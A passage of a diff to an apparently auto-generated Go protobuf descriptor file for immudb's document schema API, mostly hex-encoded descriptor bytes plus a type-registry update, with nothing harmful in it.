0x72, 0x65, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, + 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, + 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, + 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, + 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, + 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, + 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, + 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, - 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, - 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, - 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, - 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, - 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, - 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0xa9, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x30, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x31, 0x2e, 0x69, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa9, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x30, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0xc1, 0x01, 0x0a, 0x18, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x46, 0x69, 0x6e, 0x64, - 0x4f, 0x6e, 0x65, 0x41, 0x6e, 0x64, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x36, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x46, 0x69, 0x6e, - 0x64, 0x4f, 0x6e, 0x65, 0x41, 0x6e, 0x64, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x37, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x46, 0x69, 0x6e, 0x64, 0x4f, 0x6e, 0x65, 0x41, 0x6e, 0x64, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x34, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x66, 0x69, 0x6e, 0x64, 0x4f, 0x6e, 0x65, 0x41, 0x6e, 0x64, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, - 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, - 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, - 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, - 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, - 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, - 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, - 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, - 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, - 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x31, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, + 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, + 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, + 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, + 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, + 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, + 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, + 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, + 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, + 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2197,101 +2061,96 @@ func file_documentschema_proto_rawDescGZIP() []byte { } var file_documentschema_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 32) +var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 30) var file_documentschema_proto_goTypes = []interface{}{ - (QueryOperator)(0), // 0: immudb.documentschema.QueryOperator - (IndexType)(0), // 1: immudb.documentschema.IndexType - (*DocumentInsertRequest)(nil), // 2: immudb.documentschema.DocumentInsertRequest - (*DocumentInsertResponse)(nil), // 3: immudb.documentschema.DocumentInsertResponse - (*DocumentUpdateRequest)(nil), // 4: immudb.documentschema.DocumentUpdateRequest - (*DocumentUpdateResponse)(nil), // 5: immudb.documentschema.DocumentUpdateResponse - (*IndexValue)(nil), // 6: immudb.documentschema.IndexValue - (*DocumentQuery)(nil), // 7: immudb.documentschema.DocumentQuery - (*DocumentSearchRequest)(nil), // 8: immudb.documentschema.DocumentSearchRequest - (*DocumentSearchResponse)(nil), // 9: immudb.documentschema.DocumentSearchResponse - (*DocumentProofRequest)(nil), // 10: immudb.documentschema.DocumentProofRequest - (*DocumentProofResponse)(nil), // 11: immudb.documentschema.DocumentProofResponse - (*DocumentAuditRequest)(nil), // 12: immudb.documentschema.DocumentAuditRequest - (*DocumentAuditResponse)(nil), // 13: immudb.documentschema.DocumentAuditResponse - (*DocumentAudit)(nil), // 14: immudb.documentschema.DocumentAudit - (*IndexOption)(nil), // 15: immudb.documentschema.IndexOption - (*CollectionCreateRequest)(nil), // 16: immudb.documentschema.CollectionCreateRequest - (*CollectionCreateResponse)(nil), // 17: immudb.documentschema.CollectionCreateResponse - (*CollectionInformation)(nil), // 18: immudb.documentschema.CollectionInformation - (*CollectionGetResponse)(nil), // 19: immudb.documentschema.CollectionGetResponse - (*CollectionGetRequest)(nil), // 20: immudb.documentschema.CollectionGetRequest - (*CollectionListRequest)(nil), // 21: immudb.documentschema.CollectionListRequest - (*CollectionListResponse)(nil), // 22: immudb.documentschema.CollectionListResponse - (*CollectionDeleteRequest)(nil), // 23: immudb.documentschema.CollectionDeleteRequest - (*CollectionDeleteResponse)(nil), // 24: immudb.documentschema.CollectionDeleteResponse - (*CollectionUpdateRequest)(nil), // 25: immudb.documentschema.CollectionUpdateRequest - (*CollectionUpdateResponse)(nil), // 26: immudb.documentschema.CollectionUpdateResponse - (*DocumentInsertManyRequest)(nil), // 27: immudb.documentschema.DocumentInsertManyRequest - (*DocumentInsertManyResponse)(nil), // 28: immudb.documentschema.DocumentInsertManyResponse - (*DocumentFindOneAndUpdateRequest)(nil), // 29: immudb.documentschema.DocumentFindOneAndUpdateRequest - (*DocumentFindOneAndUpdateResponse)(nil), // 30: immudb.documentschema.DocumentFindOneAndUpdateResponse - nil, // 31: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - nil, // 32: immudb.documentschema.CollectionInformation.IndexKeysEntry - nil, // 33: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry - (*structpb.Struct)(nil), // 34: google.protobuf.Struct - (structpb.NullValue)(0), // 35: google.protobuf.NullValue - (*structpb.Value)(nil), // 36: google.protobuf.Value - (*schema.VerifiableTxV2)(nil), // 37: immudb.schema.VerifiableTxV2 + (QueryOperator)(0), // 0: immudb.documentschema.QueryOperator + (IndexType)(0), // 1: immudb.documentschema.IndexType + (*DocumentInsertRequest)(nil), // 2: immudb.documentschema.DocumentInsertRequest + (*DocumentInsertResponse)(nil), // 3: immudb.documentschema.DocumentInsertResponse + (*DocumentUpdateRequest)(nil), // 4: immudb.documentschema.DocumentUpdateRequest + (*DocumentUpdateResponse)(nil), // 5: immudb.documentschema.DocumentUpdateResponse + (*IndexValue)(nil), // 6: immudb.documentschema.IndexValue + (*DocumentQuery)(nil), // 7: immudb.documentschema.DocumentQuery + (*DocumentSearchRequest)(nil), // 8: immudb.documentschema.DocumentSearchRequest + (*DocumentSearchResponse)(nil), // 9: immudb.documentschema.DocumentSearchResponse + (*DocumentProofRequest)(nil), // 10: immudb.documentschema.DocumentProofRequest + (*DocumentProofResponse)(nil), // 11: immudb.documentschema.DocumentProofResponse + (*DocumentAuditRequest)(nil), // 12: immudb.documentschema.DocumentAuditRequest + (*DocumentAuditResponse)(nil), // 13: immudb.documentschema.DocumentAuditResponse + (*DocumentAudit)(nil), // 14: immudb.documentschema.DocumentAudit + (*IndexOption)(nil), // 15: immudb.documentschema.IndexOption + (*CollectionCreateRequest)(nil), // 16: 